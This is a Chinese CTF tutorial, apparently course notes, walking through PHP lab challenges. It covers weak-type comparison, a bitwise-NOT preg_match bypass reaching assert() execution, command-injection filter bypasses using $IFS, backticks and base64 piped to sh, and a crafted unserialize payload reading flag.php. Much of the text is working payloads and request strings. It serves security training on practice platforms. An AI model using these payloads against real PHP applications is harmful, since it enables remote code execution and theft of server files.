個人網(wǎng)站做短視頻/seo網(wǎng)站推廣助理招聘
數(shù)據(jù)來源
文章參考
本課重點:
- 案例1:PHP-相關(guān)總結(jié)知識點-后期復(fù)現(xiàn)
- 案例2:PHP-弱類型對比繞過測試-常考點
- 案例3:PHP-正則preg_match繞過-??键c
- 案例4:PHP-命令執(zhí)行RCE變異繞過-??键c
- 案例5:PHP-反序列化考題分析構(gòu)造復(fù)現(xiàn)-常考點
案例1:PHP-相關(guān)總結(jié)知識點-后期復(fù)現(xiàn)
相關(guān)PHP所有總結(jié)知識點參考:
https://www.cnblogs.com/iloveacm/category/1791836.html
ctf變量
php的弱類型比較問題
php斷言(
assert
)
php讀取目錄下文件的方法
preg_match繞過
PHP中sha1()函數(shù)和md5()
異或注入
updatexml()函數(shù)報錯注入
源文件泄露利用
extract變量覆蓋
strcmp()漏洞
md5()漏洞
ereg()截斷漏洞
弱類型整數(shù)大小比較繞過
命令執(zhí)行
md5()漏洞
escapeshellarg()與escapeshellcmd()
sql注入繞過關(guān)鍵字
preg_replace
/
e的命令執(zhí)行漏洞
MYSQL特殊模式
PHP字符串解析特性
案例2:PHP-弱類型對比繞過測試-??键c
弱類型繞過對比總結(jié):
https://www.cnblogs.com/Mrsm1th/p/6745532.html
===? 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較
==? ? 在進行比較的時候,會先將字符串類型轉(zhuǎn)化成相同,再比較
舉例
$num=$_GET['num'];<br>
if(!is_numeric($num))<br>
{<br>
echo $num;<br>
if($num==1)<br>
echo 'flag{**********}';<br>
}<br>
<?php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>
代碼解析
$num=$_GET['num'];<br> // 接收get請求的num參數(shù)的值
if(!is_numeric($num))<br> // is_numeric — 檢測變量是否為數(shù)字或數(shù)字字符串,是則返回True
// 注意這里前面有個 ! 表示非,意思是如果是true那就反轉(zhuǎn)為false,反之如果是false就會變成true,也就是說這里需要數(shù)據(jù)不是純數(shù)字才能通過判斷
{<br>
echo $num;<br> // echo — 輸出一個或多個字符串
if($num==1)<br> // 判斷num是否等于1 注意這里是兩個 =
echo 'flag{**********}';<br> // 符合條件就打印 'flag{**********}'
}<br>
<?php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>
在線的靶場:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyword=%E7%9F%9B%E7%9B%BE?
?
??
或這里使用phpStudy在本地部署文件
訪問:(只要后面的參數(shù)不是純數(shù)字就能打印flag)
127.0.0.1/get/index.php
?
傳參1x,得到flag (參數(shù)不是純數(shù)字就行)?
也可以添加換行符:1%0a?
?
案例3:PHP-正則preg_match繞過-??键c
ctf中 preg_match 繞過技術(shù):
- 方法1:異或
- 方法2:取反
- 方法3:數(shù)組
- 方法4: PCRE
- 方法5∶換行符
真題:preg_match繞過-ctfhub-2020-第五空間智能安全大賽-web-hate_php
靶場地址:https://www.ctfhub.com/#/challenge
?
1)打開頁面,顯示如下代碼
<?phperror_reporting(0);if(!isset($_GET['code'])){highlight_file(__FILE__);}else{$code?=?$_GET['code'];if?(preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {die('You are too good for me');}$blacklist?= get_defined_functions()['internal'];foreach?($blacklist?as?$blackitem) {if?(preg_match ('/'?.?$blackitem?.?'/im',?$code)) {die('You deserve better');}}assert($code);}
代碼解析?
<?php
error_reporting(0); //?error_reporting()關(guān)閉所有PHP錯誤報告
if(!isset($_GET['code'])){ // isset() 檢測變量是否已設(shè)置并且非 NULLhighlight_file(__FILE__); // highlight_file() — 語法高亮一個文件,參數(shù)是要設(shè)置的文件路徑(就是讀取文件內(nèi)容)
}else{$code = $_GET['code']; // 獲取get請求攜帶的code參數(shù)// preg_match — 執(zhí)行匹配正則表達式if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); // die — 等同于 exit(),exit — 輸出一個消息并且退出當(dāng)前腳本}$blacklist = get_defined_functions()['internal']; // get_defined_functions — 返回所有已定義函數(shù)的數(shù)組(就是php常用函數(shù)/內(nèi)置函數(shù))。包括內(nèi)置(internal) 和用戶定義的函數(shù)foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } }assert($code); // assert — 檢查一個斷言是否為 FALSE(這是官方的解釋),assert()函數(shù)還有個作用就是直接將傳入的參數(shù)當(dāng)成PHP代碼執(zhí)行·不需要以分號結(jié)尾
}
2)第一個正則表達式過濾了相關(guān)的關(guān)鍵字。第二個正則表達式過濾了PHP的內(nèi)置函數(shù),因此即使找到了某個函數(shù)恰好可以繞過第一個,也過不去第二個過濾。這樣的題目,一般的思路就是利用異或或者取反來繞過。這里用取反來繞過。
?第一步繞過思路:取反繞過(把getFlag取反然后URL編碼:)
例如對:"getFlag"進行取反
PHP 在線工具 | 菜鳥工具
首先我們要獲取當(dāng)前目錄下的文件信息,實現(xiàn)代碼:
// print_r() 打印變量
// scandir() 列出指定路徑中的文件和目錄 , '.' 表示當(dāng)前目錄
print_r(scandir('.'))
但是前面講了源代碼對函數(shù)做了過濾,所以這里我們要把每個函數(shù)與函數(shù)的參數(shù)拆分開來,然后進行取反再進行url編碼繞過
拆分成:print_r 、scandir、.
?
實現(xiàn)方式跟上面一樣,先使用在線的php編譯工具取反然后格式化成URL編碼,實現(xiàn)代碼如下:
<?php
echo urlencode(~'print_r'); // urlencode — 編碼 URL 字符串, ~ 取反
echo "\n"; // \n 換行,讓打印的數(shù)據(jù)好看點
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?>
編碼后的結(jié)果:?
%8F%8D%96%91%8B%A0%8D
%8C%9C%9E%91%9B%96%8D
%D1
開始發(fā)送url請求獲取當(dāng)前目錄下的文件信息,剛才查看源碼發(fā)現(xiàn)他是get請求參數(shù)是code
?code=print_r(scandir('.')) # 根據(jù)這個url格式將我們編碼后的函數(shù)與參數(shù)拼接起來進行請求?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) # 使用這個url去發(fā)送請求/*
* 原來的編碼:
* %8F%8D%96%91%8B%A0%8D
* %8C%9C%9E%91%9B%96%8D
* %D1
*
* url解析:1.在使用url編碼進行請求時我們的url編碼要用 () 括起來不然無法識別,就變成了:
* (%8F%8D%96%91%8B%A0%8D)
* (%8C%9C%9E%91%9B%96%8D)
* (%D1)
*
* 2. 使用工具把函數(shù)與請求的參數(shù)轉(zhuǎn)換成url的時候我們使用 ~ 進行了取反,所有到這里要使用這些編碼進行請求時我們也要用 ~ 進行取反將數(shù)據(jù)轉(zhuǎn)換回來,所以現(xiàn)在就變成了:
* (~%8F%8D%96%91%8B%A0%8D)
* (~%8C%9C%9E%91%9B%96%8D)
* (~%D1)
*/
返回的信息是個數(shù)組:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )? ? 表示當(dāng)前目錄下有兩個文件 flag.php 與 index.php
讀取flag.php構(gòu)造payload?
實現(xiàn)代碼:
highlight_file(flag.php)?
拆分成:highlight_file、
flag.php
<?php
echo urlencode(~'highlight_file'); // urlencode — 編碼 URL 字符串, ~ 取反
echo "\n"; // \n 換行,讓打印的數(shù)據(jù)好看點
echo urlencode(~'flag.php');?>
編碼后的結(jié)果:??
%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A
%99%93%9E%98%D1%8F%97%8F
開始發(fā)送url請求讀取flag.php
?code=highlight_file(flag.php) # 根據(jù)這個url格式將我們編碼后的函數(shù)與參數(shù)拼接起來進行請求 ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用這個url去發(fā)送請求
最后復(fù)制獲取到的flag,到靶場提交,解題成功
案例4:PHP-命令執(zhí)行RCE變異繞過-??键c
命令執(zhí)行常見繞過:https://www.cnblogs.com/iloveacm/p/13687654.html
靶場地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
1)場景打開如下,頁面是/?ip=? ? ? 很明顯這肯定就是個命令執(zhí)行
??
2)輸入:?ip=127.0.0.1? ? ? ? ? ? ?本地ip地址測試一下
?
這就相當(dāng)于我們自己在cmd中手動ping (這就說明這里是可以執(zhí)行系統(tǒng)命令的)
?
3)雖然這個靶場現(xiàn)在只是可以執(zhí)行ping命令,但是我們可以使用特殊字符進行連接讓他執(zhí)行我們需要的命令
常用的特殊字符有:|、;、||、&&、&、$
查看當(dāng)前目錄下文件
?ip=127.0.0.1 ; dir # dir 是windows的查看文件目錄命令
?將空格清除再測試
?ip=127.0.0.1;dir # 這里執(zhí)行后沒有反應(yīng),說明服務(wù)器不是windows系統(tǒng)
??
?這里換成linux系統(tǒng)命令再執(zhí)行一次,成功列出文件信息
?ip=127.0.0.1;ls # 使用linux系統(tǒng)的命令測試成功列出當(dāng)前目錄的文件信息
??
4)嘗試讀取flag文件
/?ip=127.0.0.1;catflag.php # cat 是linux系統(tǒng)的查看文件內(nèi)容的命令,因為前面說了靶機過濾了空格這里就不加空格了
發(fā)現(xiàn)過濾了字符 flag??
?
5)嘗試繞過這個字符過濾
https://www.cnblogs.com/iloveacm/p/13687654.html
?
繞過方式一:變量拼接? ? ($IFS$數(shù)字? ?-- 相當(dāng)于空格? ?$a 是指a 這個變量)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
??
?
但是只有這種繞過方式?我們可以查看靶機源代碼(indx.php),分析繞過規(guī)則
/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php # 這里我將a=g 改成a = x
??
?
代碼解析:
<?php
if(isset($_GET['ip'])){ // isset — 檢測變量是否已設(shè)置并且非 NULL, $_GET['ip'] 獲取傳入的ip參數(shù)的內(nèi)容$ip = $_GET['ip']; // 將傳入的ip賦值給ip變量// preg_match() 執(zhí)行匹配正則表達式if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!"); // die 輸出一個消息并且退出當(dāng)前腳本} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip); // shell_exec — 通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回 , -c 4 指定ping的次數(shù)為4echo "<pre>"; // echo 輸出一個或多個字符串print_r($a); // print_r 打印變量
}?>
繞過方式二:內(nèi)聯(lián)注釋(將反引號命令的結(jié)果作為輸入來執(zhí)行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
?
?
繞過方式三:sh
- Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
- echo ?輸出一個或多個字符串
- $IFS$2 相當(dāng)于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
?
?
案例5:PHP-反序列化考題分析構(gòu)造復(fù)現(xiàn)-??键c
真題:網(wǎng)鼎杯2020-青龍組-web-AreUserialz
靶場地址:https://www.ctfhub.com/#/challenge
搜索:AreUSerialz
?
?序列化和反序列化作用(來源)
- 便于存儲:序列化過程將文本信息轉(zhuǎn)變?yōu)槎M制數(shù)據(jù)流。這樣就信息就容易存儲在硬盤之中,當(dāng)需要讀取文件的時候,從硬盤中讀取數(shù)據(jù),然后再將其反序列化便可以得到原始的數(shù)據(jù)。在Python程序運行中得到了一些字符串、列表、字典等數(shù)據(jù),想要長久的保存下來,方便以后使用,而不是簡單的放入內(nèi)存中關(guān)機斷電就丟失數(shù)據(jù)。python模塊大全中的Pickle模塊就派上用場了,它可以將對象轉(zhuǎn)換為一種可以傳輸或存儲的格式。
- 便于傳輸:當(dāng)兩個進程在進行遠程通信時,彼此可以發(fā)送各種類型的數(shù)據(jù)。無論是何種類型的數(shù)據(jù),都會以二進制序列的形式在網(wǎng)絡(luò)上傳送。發(fā)送方需要把這個對象轉(zhuǎn)換為字節(jié)序列,在能在網(wǎng)絡(luò)上傳輸;接收方則需要把字節(jié)序列在恢復(fù)為對象。
反序列化漏洞原理:(來源)
????????未對用戶輸入的序列化字符串進行檢測,導(dǎo)致攻擊者可以控制反序列化過程,從而導(dǎo)致代碼執(zhí)行、SQL注入、目錄遍歷等不可控后果。
????????在反序列化的過程中自動觸發(fā)了某些魔術(shù)方法。當(dāng)進行反序列化的時候就有可能會觸發(fā)對象中的一些魔術(shù)方法。
重要函數(shù):
- serialize() :將一個對象轉(zhuǎn)換成字符串 。? (序列化)
- unserialize() :將字符串還原成一個對象? (反序列化)
觸發(fā):unserialize 函數(shù)的變量可控,文件中存在可利用的類,類中有魔術(shù)方法。
__construct()? ? // 創(chuàng)建對象時觸發(fā)
__destruct()? ? ?// 對象被銷毀時觸發(fā)
__call()? ? ? ? ? ? // 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic()? ?// 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__get()? ? ? ? ? ? // 用于從不可訪問的屬性讀取數(shù)據(jù)
__set()? ? ? ? ? ? // 用于將數(shù)據(jù)寫入不可訪問的屬性
__isset()? ? ? ? ?// 在不可訪問的屬性上調(diào)用 isset()或 empty()觸發(fā)
__unset()? ? ? ? // 在不可訪問的屬性上使用 unset()時觸發(fā)
__invoke()? ? ? // 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)
發(fā)現(xiàn)Flag位置-反序列化考點-分析代碼-構(gòu)造代碼生成Payload
具體解題步驟參考前面筆記?來源
https://www.cnblogs.com/zhengna/p/15661109.html
打開靶機獲取代碼:
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
代碼解析:(我注釋寫的很詳細,就算你沒有學(xué)過php也能做這個程序的代碼審計)
<?php// 獲取flag.php文件的內(nèi)容就是我們的目的
include("flag.php"); // include() 語句包含并運行指定文件,就是調(diào)用/導(dǎo)入/引入文件(也可以理解為把目標(biāo)文件的內(nèi)容復(fù)制粘貼到當(dāng)前文件)highlight_file(__FILE__); // highlight_file — 語法高亮一個文件,也可以用來讀取文件內(nèi)容 __FILE__ 返回當(dāng)前執(zhí)行PHP腳本的完整路徑和文件名,包含一個絕對路徑class FileHandler { // 定義一個類,名為FileHandler protected $op; // 定義一個變量$op protected 將變量設(shè)置為受保護的,外界無法直接訪問這個控制protected $filename; protected $content; function __construct() { // 創(chuàng)建對象時觸發(fā)$op = "1"; // 給 $op 賦值為 "1"(字符串1)$filename = "/tmp/tmpfile"; $content = "Hello World!";$this->process(); // 調(diào)用process方法(也稱為類的成員方法) , $this 指當(dāng)前類,因為在當(dāng)前方法調(diào)用當(dāng)前類的另一個方法process()時就要加上$this不然程序找不到} // public 定義公有的方法public function process() { // 這個process() 方法就是對op進行判斷 if($this->op == "1") { // 判斷 op=1? 注意這里是兩個= ,判斷的是值也就是說只要是1就可以了不管你是數(shù)字1還是字符1$this->write(); // 如果符合判斷條件,調(diào)用write方法,寫入文件的方法} else if($this->op == "2") { // op=2? $res = $this->read(); // 調(diào)用read方法,讀取文件的方法,方法的返回值是讀入到的文件內(nèi)容$this->output($res); // 將$res變量中存儲的文件內(nèi)容,輸出 output()方法是下面自定義的輸出方法} else { // 否則結(jié)束$this->output("Bad Hacker!");}}private function write() { // 可忽略,沒有意義當(dāng) op=1 時才會進入這個函數(shù),我們解題需要op = 2if(isset($this->filename) && isset($this->content)) { // isset — 檢測變量是否已設(shè)置并且非 NULL, 存在并且值不是 NULL 則返回 TRUE,否則返回 FALSEif(strlen((string)$this->content) > 100) { // strlen — 獲取字符串長度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content); // file_put_contents — 將一個字符串寫入文件,該函數(shù)將返回寫入到文件內(nèi)數(shù)據(jù)的字節(jié)數(shù),失敗時返回FALSEif($res) $this->output("Successful!"); // 判斷$res不為空,打印成功的信息else $this->output("Failed!"); // 否則打印失敗信息} else {$this->output("Failed!");}}// private 把方法聲明為私有的,也就是說只有當(dāng)前類才能調(diào)用private function read() { // 這個方法就是讀取文件的方法$res = ""; // 先將 $res 變量賦值為空if(isset($this->filename)) { // 如果filename存在的話,直接獲取文件內(nèi)容$res = file_get_contents($this->filename); // file_get_contents — 將整個文件讀入一個字符串 $this->filename 是$this->$filename 在內(nèi)存中的存儲地址}return $res; // 將讀入到的文件內(nèi)容返回}private function output($s) { // 自定義的輸出方法echo "[Result]: <br>"; // echo — 輸出一個或多個字符串echo $s; // 將方法接收到的數(shù)據(jù)($s)輸出}function __destruct() { // 當(dāng)對象進行銷毀的時觸發(fā)if($this->op === "2") // 這里判斷op是否強等于"2"(就是類型與值都要相等),如果等于"2" 可以使用數(shù)字2或字符串'2'繞過判斷,因為等于1是調(diào)用寫入方法等于2才是讀取文件數(shù)據(jù)的方法$this->op = "1"; // op賦值"1"$this->content = "";$this->process(); // 調(diào)用process()方法對op的值進行判斷}}function is_valid($s) { // 循環(huán)判斷字符串的每一次值,是否在32-125內(nèi)(可見字符之內(nèi)的字符串),strlen — 獲取字符串長度for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // !表示非 ord — 轉(zhuǎn)換字符串第一個字節(jié)為 0-255 之間的值 (asiic碼) return false; // 不符合條件返回falsereturn true; // 符合條件返回true
}if(isset($_GET{'str'})) { // $_GET{'str'}獲取通過get請求傳過來的str isset — 檢測變量是否已設(shè)置并且非 NULL$str = (string)$_GET['str']; // 將獲取到的get參數(shù)str賦值給$str變量if(is_valid($str)) { // 然后str過一下上面的is_valid方法,看一下是否有非法字符$obj = unserialize($str); // 如果沒有直接unserialize反序列化}}
繞過思路:
1、通過str參數(shù)傳入值,繞過相關(guān)的過濾(就是構(gòu)造payload)
2、str變量值 - 字符串格式,創(chuàng)建類對象FileHandler?
前面講了unserialize() 方法將字符串還原成一個對象? (反序列化),就是相當(dāng)于創(chuàng)建了對象,當(dāng)創(chuàng)建了對象后就會觸發(fā)__construct()方法
3、讓op = 2,filename = flag.php? ? ?#? 因為源代碼當(dāng)op=2是就會調(diào)用讀取的方法,讀取filename變量對應(yīng)的文件
?
4、構(gòu)造攻擊Patload
代碼在線運行 - 在線工具
<?php
class FileHandler{public $op=2;public $filename="flag.php";public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
代碼解析:?
<?php
class FileHandler{ // 這里的類命令要與源碼的類名一致才行public $op=2; // 源碼告訴我們op為1時執(zhí)行寫入,op為2時執(zhí)行讀取 這里有兩個值都可以 2 或 '2' "2" 已經(jīng)被過濾不寫這個就行public $filename="flag.php"; // 文件開頭調(diào)用的是flag.phppublic $content="xd"; // 這個隨便寫點東西就行,
}
$flag = new FileHandler(); // new FileHandler() 創(chuàng)建類對象,這里創(chuàng)建對象也會觸發(fā)源碼中的__construct方法,然后經(jīng)過一系列的操作最終給我們返回flag.php的內(nèi)容
$flag_1 = serialize($flag); // serialize 將一個對象轉(zhuǎn)換成字符串(序列化),因為源碼對傳入的參數(shù)進行了反序列化
echo $flag_1; // 輸出序列化后的類
?>
代碼運行結(jié)果:
?
?
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
5)使用攻擊 Patload 獲取flag
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
涉及資源:
- https://www.cnblogs.com/iloveacm/category/1791836.html CTF知識點
- https://buuoj.cn/challenges 靶場
- https://www.ctfhub.com/#/challenge ctf
- http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 繞過技術(shù) | 無字母數(shù)字的webshell
- https://www.cnblogs.com/iloveacm/p/13687654.html 命令執(zhí)行